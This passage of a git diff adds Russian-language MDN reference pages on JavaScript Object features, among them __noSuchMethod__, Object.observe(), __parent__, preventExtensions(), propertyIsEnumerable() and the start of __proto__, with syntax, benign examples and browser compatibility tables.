+ <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/nosuchmethod/index.html b/files/ru/web/javascript/reference/global_objects/object/nosuchmethod/index.html
new file mode 100644
index 0000000000..6f0827751f
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/nosuchmethod/index.html
@@ -0,0 +1,195 @@
+---
+title: Object.prototype.__noSuchMethod__
+slug: Web/JavaScript/Reference/Global_Objects/Object/noSuchMethod
+tags:
+  - JavaScript
+  - Non-standard
+  - Object
+  - Property
+  - Prototype
+  - Reference
+translation_of: Archive/Web/JavaScript/Object.noSuchMethod
+---
+<div>{{JSRef("Global_Objects", "Object")}} {{non-standard_header}}</div>
+
+<div>Хотя свойство <strong><code>__noSuchMethod__</code></strong> и нестандартно, спецификация ECMAScript Harmony (ES6) содержит объект <strong>{{jsxref("Proxy")}}</strong>, с помощью которого вы можете сделать всё тоже самое, что и при использовании этого свойством (и даже больше).</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>__noSuchMethod__</code></strong> ссылается на функцию, выполняющуюся каждый раз при вызове на объекте несуществующего метода.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>obj</var>.__noSuchMethod__ = <var>fun</var></code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>fun</code></dt>
+ <dd>Функция, имеющая вид</dd>
+ <dd>
+  <pre><code>function(<var>id</var>, <var>args</var>) { . . . }</code></pre>
+  <dl>
+   <dt><code>id</code></dt>
+   <dd>Имя вызванного несуществующего метода</dd>
+   <dt><code>args</code></dt>
+   <dd>Массив аргументов, переданный в метод</dd>
+  </dl>
+ </dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>По умолчанию, при попытке вызвать не существующий в объекте метод, будет выброшено исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}. Это поведение можно обойти, определив функцию <code>__noSuchMethod__</code> в качестве члена объекта. Функция принимает два аргумента, первый является именем метода, который попытались вызвать, а второй — массивом аргументов, которые были переданы в метод при его вызове. Второй аргумент является настойщим массивом (то есть, он наследуется через цепочку прототипов от {{jsxref("Array.prototype")}}), а не массивоподобным <a href="/ru/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments">объектом arguments</a>.</p>
+<p>Если данный метод не может быть вызван, либо по причине того, что он установлен в {{jsxref("Global_Objects/undefined", "undefined")}} по умолчанию, либо удалён, либо вручную установлен в не-функцию, движок JavaScript вернётся к выбрасыванию исключения {{jsxref("Global_Objects/TypeError", "TypeError")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Simple_test_of___noSuchMethod__" name="Example:_Simple_test_of___noSuchMethod__">Пример: простая проверка свойства <code>__noSuchMethod__</code></h3>
+<pre class="brush: js">var o = {
+    __noSuchMethod__: function(id, args) { console.log(id, '(' + args.join(', ') + ')'); }
+};
+
+o.foo(1, 2, 3);
+o.bar(4, 5);
+o.baz();
+
+// Вывод
+// foo (1, 2, 3)
+// bar (4, 5)
+// baz ()
+</pre>
+
+<h3 id="Example:_Using___noSuchMethod___to_simulate_multiple_inheritance" name="Example:_Using___noSuchMethod___to_simulate_multiple_inheritance">Пример: использование свойства <code>__noSuchMethod__</code> для симуляции множественного наследования</h3>
+<p>Ниже показан пример кода, реализующего примитивную форму множественного наследования.</p>
+<pre class="brush: js">// Не работает с множественным наследованием объектов в качестве родителей
+function noMethod(name, args) {
+    var parents = this.__parents_;
+
+    // Пройдёмся по всем родителям
+    for (var i = 0; i &lt; parents.length; i++) {
+        // Если нашли функцию в родителе, вызовем её
+        if (typeof parents[i][name] == 'function') {
+            return parents[i][name].apply(this, args);
+        }
+    }
+
+    // Если мы здесь, метод не был найден
+    throw new TypeError;
+}
+
+// Используется для добавления родителя при множественном наследовании
+function addParent(obj, parent) {
+    // Если объект ещё не инициализирован, инициализируем его
+    if (!obj.__parents_) {
+        obj.__parents_ = [];
+        obj.__noSuchMethod__ = noMethod;
+    }
+
+    // Добавляем родителя
+    obj.__parents_.push(parent);
+}
+</pre>
+<p>Ниже показан пример использования этой идеи.</p>
+<pre class="brush: js">// Пример первого базового класса
+
+function NamedThing(name) {
+    this.name = name;
+}
+
+NamedThing.prototype = {
+    getName: function() { return this.name; },
+    setName: function(newName) { this.name = newName; }
+}
+
+// Пример второго базового класса
+
+function AgedThing(age){
+    this.age = age;
+}
+
+AgedThing.prototype = {
+    getAge: function() { return this.age; },
+    setAge: function(age) { this.age = age; }
+}
+
+// Дочерний класс. Наследуется от NamedThing и AgedThing, а также определяет свойство address
+
+function Person(name, age, address) {
+    addParent(this, NamedThing.prototype);
+    NamedThing.call(this, name);
+    addParent(this, AgedThing.prototype);
+    AgedThing.call(this, age);
+    this.address = address;
+}
+
+Person.prototype = {
+    getAddr: function() { return this.address; },
+    setAddr: function(addr) { this.address = addr; }
+}
+
+var bob = new Person('Боб', 25, 'Нью-Йорк');
+
+console.log('getAge лежит ' + (('getAge' in bob) ? 'в' : 'не в') + ' объекте bob');
+console.log('возраст Боба: ' + bob.getAge());
+console.log('getName лежит ' + (('getName' in bob) ? 'в' : 'не в') + ' объекте bob');
+console.log('имя Боба: ' + bob.getName());
+console.log('getAddr лежит ' + (('getAddr' in bob) ? 'в' : 'не в') + ' объекте bob');
+console.log('адрес Боба: ' + bob.getAddr());
+</pre>
+<p>Вывод примера будет следующим:</p>
+<pre>getAge лежит не в объекте bob
+возраст Боба: 25
+getName лежит не в объекте bob
+имя Боба: Боб
+getAddr лежит в объекте bob
+адрес Боба: Нью-Йорк
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какой-либо спецификации.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatGeckoDesktop("1.0")}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatGeckoMobile("1.0")}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
diff --git a/files/ru/web/javascript/reference/global_objects/object/observe/index.html b/files/ru/web/javascript/reference/global_objects/object/observe/index.html
new file mode 100644
index 0000000000..25fe9c879b
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/observe/index.html
@@ -0,0 +1,142 @@
+---
+title: Object.observe()
+slug: Web/JavaScript/Reference/Global_Objects/Object/observe
+tags:
+  - ECMAScript7
+  - Experimental
+  - JavaScript
+  - Method
+  - Object
+  - Reference
+translation_of: Archive/Web/JavaScript/Object.observe
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>Object.observe()</code></strong> используется для асинхронного обзора изменений в объекте. Он предоставляет поток изменений в порядке их возникновения.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>Object.observe(<var>obj</var>, <var>callback</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Обозреваемый объект.</dd>
+ <dt><code>callback</code></dt>
+ <dd>Функция, вызываемая при возникновении изменений в объекте, принимает следующий аргумент:
+ <dl>
+  <dt><code>changes</code></dt>
+  <dd>Массив объектов, представляющих одно изменение. Объекты с изменениями содержат следующие свойства:
+  <ul>
+   <li><strong><code>name</code></strong>: имя изменённого свойства.</li>
+   <li><strong><code>object</code></strong>: изменённый объект после изменения.</li>
+   <li><strong><code>type</code></strong>: строка, указывающая тип произошедшего изменения. Может принимать одно из значений: <code>"add"</code>, <code>"update"</code> или <code>"delete"</code>.</li>
+   <li><strong><code>oldValue</code></strong>: только для типов <code>"update"</code> и <code>"delete"</code>. Значение до изменения.</li>
+  </ul>
+  </dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Функция <code>callback</code> вызывается каждый раз при возникновении изменений в объекте <code>obj</code> с массивом всех изменений в порядке их возникновения.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example.3A_Logging_all_three_different_types" name="Example.3A_Logging_all_three_different_types">Пример: журналирование всех трёх типов изменений</h3>
+
+<pre class="brush: js">var obj = {
+  foo: 0,
+  bar: 1
+};
+
+Object.observe(obj, function(changes) {
+  console.log(changes);
+});
+
+obj.baz = 2;
+// [{name: 'baz', object: &lt;obj&gt;, type: 'add'}]
+
+obj.foo = 'hello';
+// [{name: 'foo', object: &lt;obj&gt;, type: 'update', oldValue: 0}]
+
+delete obj.baz;
+// [{name: 'baz', object: &lt;obj&gt;, type: 'delete', oldValue: 2}]
+</pre>
+
+<h3 id="Example.3A_Data_Binding" name="Example.3A_Data_Binding">Пример: привязка данных</h3>
+
+<pre class="brush: js">// Пользовательская модель
+var user = {
+  id: 0,
+  name: 'Брендан Айк',
+  title: 'М-р.'
+};
+
+// Создаёт приветствие для пользователя
+function updateGreeting() {
+  user.greeting = 'Здравствуйте, ' + user.title + ' ' + user.name + '!';
+}
+updateGreeting();
+
+Object.observe(user, function(changes) {
+  changes.forEach(function(change) {
+    // Любое изменение имени или обращения обновит привествие
+    if (change.name === 'name' || change.name === 'title') {
+      updateGreeting();
+    }
+  });
+});
+</pre>
+
+<p> </p>
+
+<h3 id="Custom_change_type">Custom change type</h3>
+
+<pre><code>// A point on a 2D plane
+var point = {x: 0, y: 0, distance: 0};
+
+function setPosition(pt, x, y) {
+  // Performing a custom change
+  Object.getNotifier(pt).performChange('reposition', function() {
+    var oldDistance = pt.distance;
+    pt.x = x;
+    pt.y = y;
+    pt.distance = Math.sqrt(x * x + y * y);
+    return {oldDistance: oldDistance};
+  });
+}
+
+Object.observe(point, function(changes) {
+  console.log('Distance change: ' + (point.distance - changes[0].oldDistance));
+}, ['reposition']);
+
+setPosition(point, 3, 4);
+// Distance change: 5</code></pre>
+
+<p> </p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<p><a href="https://github.com/arv/ecmascript-object-observe">Черновое предложение к обсуждению для ECMAScript 7</a>.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div> </div>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.Object.observe")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.unobserve()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Array.observe()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/parent/index.html b/files/ru/web/javascript/reference/global_objects/object/parent/index.html
new file mode 100644
index 0000000000..d9e5c1ddd9
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/parent/index.html
@@ -0,0 +1,75 @@
+---
+title: Object.prototype.__parent__
+slug: Web/JavaScript/Reference/Global_Objects/Object/parent
+tags:
+  - JavaScript
+  - Object
+  - Obsolete
+  - Property
+  - Prototype
+translation_of: Archive/Web/JavaScript/Object.parent
+---
+<div>
+ {{JSRef("Global_Objects", "Object")}} {{obsolete_header("2")}}</div>
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>__parent__</code></strong> использовалось для указания контекста объекта, но было удалено.</p>
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>obj</var>.__parent__</code></pre>
+<h2 id="Description" name="Description">Описание</h2>
+<p>Для объектов верхнего уровня, это, например, окно.</p>
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какой-либо спецификации.</p>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li><a class="external" href="http://whereswalden.com/2010/05/07/spidermonkey-change-du-jour-the-special-__parent__-property-has-been-removed/">Изменение дня в SpiderMonkey: специальное свойство __parent__ будет удалено</a></li>
+ <li><a href="/ru/docs/Components.utils.getGlobalForObject">Components.utils.getGlobalForObject</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/preventextensions/index.html b/files/ru/web/javascript/reference/global_objects/object/preventextensions/index.html
new file mode 100644
index 0000000000..6488f99506
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/preventextensions/index.html
@@ -0,0 +1,120 @@
+---
+title: Object.preventExtensions()
+slug: Web/JavaScript/Reference/Global_Objects/Object/preventExtensions
+tags:
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Method
+  - Object
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/preventExtensions
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<p>Метод <code><strong>Object.preventExtensions()</strong></code> предотвращает добавление новых свойств к объекту (то есть, предотвращает расширение этого объекта в будущем).</p>
+
+<p>{{EmbedInteractiveExample("pages/js/object-preventextensions.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: js"><code>Object.preventExtensions(<var>obj</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Объект, который нужно сделать нерасширяемым.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Объект, который делается нерасширяемым.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Объект называется расширяемым, если к нему могут быть добавлены новые свойства. <code>Object.preventExtensions()</code> помечает объект как нерасширяемый, так что он никогда не будет иметь других свойств, кроме тех, что были у него на момент пометки его нерасширяемым. Обратите внимание, что, в общем случае, свойства нерасширяемого объекта всё ещё могут быть <em>удалены</em>. Попытка добавить новые свойства к нерасширяемому объекту потерпит неудачу, либо молча, либо с выбрасыванием исключения {{jsxref("Global_Objects/TypeError", "TypeError")}} (как правило, но не обязательно, это происходит в {{jsxref("Functions_and_function_scope/Strict_mode", "строгом режиме", "", 1)}}).</p>
+
+<p>Метод <code>Object.preventExtensions()</code> предотвращает добавление только собственных свойств. Свойства всё ещё могут быть добавлены в прототип объекта. Однако, вызов <code>Object.preventExtensions()</code> на объекте также предотвращает расширение его свойства {{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}}.</p>
+
+<p>Если превратить расширяемый объект в нерасширяемый возможно, в ECMAScript 5 нет никакого способа сделать обратную операцию.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<pre class="brush: js">// Object.preventExtensions возвращает объект, который нужно сделать нерасширяемым.
+var obj = {};
+var obj2 = Object.preventExtensions(obj);
+assert(obj === obj2);
+
+// Объекты по умолчанию являются расширяемыми.
+var empty = {};
+assert(Object.isExtensible(empty) === true);
+
+// ...но это может быть изменено.
+Object.preventExtensions(empty);
+assert(Object.isExtensible(empty) === false);
+
+// Object.defineProperty выбрасывает исключение при добавлении нового свойства в нерасширяемый объект.
+var nonExtensible = { removable: true };
+Object.preventExtensions(nonExtensible);
+Object.defineProperty(nonExtensible, 'new', { value: 8675309 }); // выбросит TypeError
+
+// В строгом режиме, попытки добавить новые свойства к нерасширяемому объекту, будут выбрасывать исключение TypeError.
+function fail() {
+  'use strict';
+  nonExtensible.newProperty = 'ОШИБКА'; // выбросит TypeError
+}
+fail();
+
+// РАСШИРЕНИЕ (работает только в движках, поддерживающих свойство __proto__
+// (которое является устаревшим. Используйте вместо него метод Object.getPrototypeOf)):
+// нерасширяемые объекты неизменны.
+var fixed = Object.preventExtensions({});
+fixed.__proto__ = { oh: 'hai' }; // выбросит TypeError
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>В ES5, если аргумент метода не является объектом (является примитивным значением), будет выброшено исключение {{jsxref("Global_Objects/TypeError", "TypeError")}}. В ES6 такой аргумент будет рассматриваться как простой нерасширяемый объект и метод его просто вернёт.</p>
+
+<pre class="brush: js">&gt; Object.preventExtensions(1)
+TypeError: 1 is not an object // код ES5
+
+&gt; Object.preventExtensions(1)
+1                             // код ES6
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.10', 'Object.preventExtensions')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.preventextensions', 'Object.preventExtensions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.builtins.Object.preventExtensions")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/propertyisenumerable/index.html b/files/ru/web/javascript/reference/global_objects/object/propertyisenumerable/index.html
new file mode 100644
index 0000000000..018edd3ca3
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/propertyisenumerable/index.html
@@ -0,0 +1,173 @@
+---
+title: Object.prototype.propertyIsEnumerable()
+slug: Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable
+tags:
+  - JavaScript
+  - Method
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <code><strong>propertyIsEnumerable()</strong></code> возвращает логическое значение, указывающее, является ли указанное свойство перечисляемым.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>obj</var>.propertyIsEnumerable(<var>prop</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Имя проверяемого свойства.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Каждый объект имеет метод <code>propertyIsEnumerable</code>. Этот метод может определять, является ли указанное свойство в объекте перечисляемым в цикле {{jsxref("Statements/for...in", "for...in")}}, за исключением свойств, унаследованных из цепочки прототипов. Если объект не имеет указанного свойства, метод вернёт <code>false</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_A_basic_use_of_propertyIsEnumerable" name="Example:_A_basic_use_of_propertyIsEnumerable">Пример: базовое использование <code>propertyIsEnumerable</code></h3>
+<p>Следующий пример показывает использование метода <code>propertyIsEnumerable</code> на объектах и массивах:</p>
+<pre class="brush: js">var o = {};
+var a = [];
+o.prop = 'перечисляемое';
+a[0] = 'перечисляемое';
+
+o.propertyIsEnumerable('prop');   // вернёт true
+a.propertyIsEnumerable(0);        // вернёт true
+</pre>
+
+<h3 id="Example:_User-defined_versus_built-in_objects" name="Example:_User-defined_versus_built-in_objects">Пример: определённые пользователем и встроенные объекты</h3>
+<p>Следующий пример демонстрирует перечисляемость свойств, определённых пользователем и встроенных свойств:</p>
+<pre class="brush: js">var a = ['перечисляемое'];
+
+a.propertyIsEnumerable(0);          // вернёт true
+a.propertyIsEnumerable('length');   // вернёт false
+
+Math.propertyIsEnumerable('random');   // вернёт false
+this.propertyIsEnumerable('Math');     // вернёт false
+</pre>
+
+<h3 id="Example:_Direct_versus_inherited_properties" name="Example:_Direct_versus_inherited_properties">Пример: собственные и унаследованные свойства</h3>
+<pre class="brush: js">var a = [];
+a.propertyIsEnumerable('constructor');         // вернёт false
+
+function firstConstructor() {
+  this.property = 'не перечисляемое';
+}
+
+firstConstructor.prototype.firstMethod = function() {};
+
+function secondConstructor() {
+  this.method = function method() { return 'перечисляемый'; };
+}
+
+secondConstructor.prototype = new firstConstructor;
+secondConstructor.prototype.constructor = secondConstructor;
+
+var o = new secondConstructor();
+o.arbitraryProperty = 'перечисляемое';
+
+o.propertyIsEnumerable('arbitraryProperty');   // вернёт true
+o.propertyIsEnumerable('method');              // вернёт true
+o.propertyIsEnumerable('property');            // вернёт false
+
+o.property = 'перечисляемое';
+
+o.propertyIsEnumerable('property');            // вернёт true
+
+// Эти вызовы вернут false, поскольку все свойства находятся в прототипе,
+// который метод propertyIsEnumerable не просматривает (даже несмотря на то,
+// что последние два свойства перечисляются через цикл for...in)
+o.propertyIsEnumerable('prototype');   // вернёт false (в JS 1.8.1/FF3.6)
+o.propertyIsEnumerable('constructor'); // вернёт false
+o.propertyIsEnumerable('firstMethod'); // вернёт false
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.7', 'Object.prototype.propertyIsEnumerable')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.propertyisenumerable', 'Object.prototype.propertyIsEnumerable')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h3 id="Gecko-specific_notes" name="Gecko-specific_notes">Особый случай с Gecko</h3>
+<p>Начиная с JavaScript 1.8.1 (в Firefox 3.6), метод <code>propertyIsEnumerable('prototype')</code> возвращает <code>false</code> вместо <code>true</code>; это делает результат совместимым с ECMAScript 5.</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li><a href="/ru/docs/Enumerability_and_ownership_of_properties">Перечисляемость и собственность свойств</a></li>
+ <li>{{jsxref("Statements/for...in", "for...in")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/object/proto/index.html b/files/ru/web/javascript/reference/global_objects/object/proto/index.html
new file mode 100644
index 0000000000..3ee717a370
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/object/proto/index.html
@@ -0,0 +1,151 @@
+---
+title: Object.prototype.__proto__
+slug: Web/JavaScript/Reference/Global_Objects/Object/proto
+tags:
+  - JavaScript
+  - Object
+  - Property
+  - Prototype
+  - Reference
+  - Référence(2)
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/proto
+---
+<div>{{JSRef("Global_Objects", "Object")}}</div>
+
+<div class="warning">
+<p><strong>Предупреждение:</strong> Изменение прототипа <code>[[Prototype]]</code> объекта является, по самой природе оптимизации доступа к свойствам в современных движках JavaScript, очень медленной операцией, это справедливо для <strong><em>любого</em></strong> браузера и движка JavaScript. Изменение прототипов очень тонко и обширно влияет на производительность, причём это влияние не ограничивается просто временем для операции присваивания <code>obj.__proto__ = ...</code>, оно может распространяться на <strong><em>любой</em></strong> код, который имеет доступ к <strong><em>любому</em></strong> объекту, чей прототип <code>[[Prototype]]</code> был изменён. Если вы заботитесь о производительности, вы никогда не должны изменять прототип <code>[[Prototype]]</code> объекта. Вместо этого создайте объект с нужным прототипом <code>[[Prototype]]</code>, с помощью метода {{jsxref("Object.create()")}}.</p>
+</div>
+
+<div class="warning">
+<p><strong>Предупреждение:</strong> хотя на сегодняшний момент большинство браузеров поддерживают свойство <code>Object.prototype.__proto__</code>, его поведение только недавно было стандартизировано в новой спецификации ECMAScript 6. Если вам требуется поддержка браузеров до этой спецификации, рекомендуется использовать вместо него метод {{jsxref("Object.getPrototypeOf()")}}.</p>
+</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Свойство <code>__proto__</code> объекта {{jsxref("Object.prototype")}} является свойством доступа (комбинацией геттера и сеттера), которое расширяет внутренний прототип <code>[[Prototype]]</code> объекта (являющийся объектом или {{jsxref("Global_Objects/null", "null")}}), через который осуществлялся доступ.</p>
+
+<p>Использование свойства <code>__proto__</code> вызывает споры и многих оно разочаровало. Ранее оно никогда не включалось в спецификацию EcmaScript, но современные браузеры всё равно решили его реализовать. Сегодня свойство <code>__proto__</code> стандартизировано в спецификации ECMAScript 6 и будет поддерживаться в будущем. Тем не менее, изменение прототипа <code>[[Prototype]]</code> объекта всё ещё остаётся медленной операцией, которую следует избегать, если вы беспокоитесь о производительности.</p>
+
+<p>Свойство <code>__proto__</code> также может использоваться при определении литерала объекта, устанавливая прототип <code>[[Prototype]]</code> объекта при его создании. Этот способ может рассматриваться как альтернатива методу {{jsxref("Object.create()")}}. Смотрите также <a href="/ru/docs/Web/JavaScript/Reference/Operators/Object_initializer">литеральный синтаскис инициализации объекта</a>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: js">var shape = {}, circle = new Circle();
+
+// Установка прототипа объекта
+shape.__proto__ = circle;
+// Получение прототипа объекта
+console.log(shape.__proto__ === circle); // true
+</pre>
+
+<p>Обратите внимание: название свойства состоит из двух подчёркиваний, следующих за ними пяти символов «proto» и следующих за ними ещё двух подчёркиваний.</p>
+
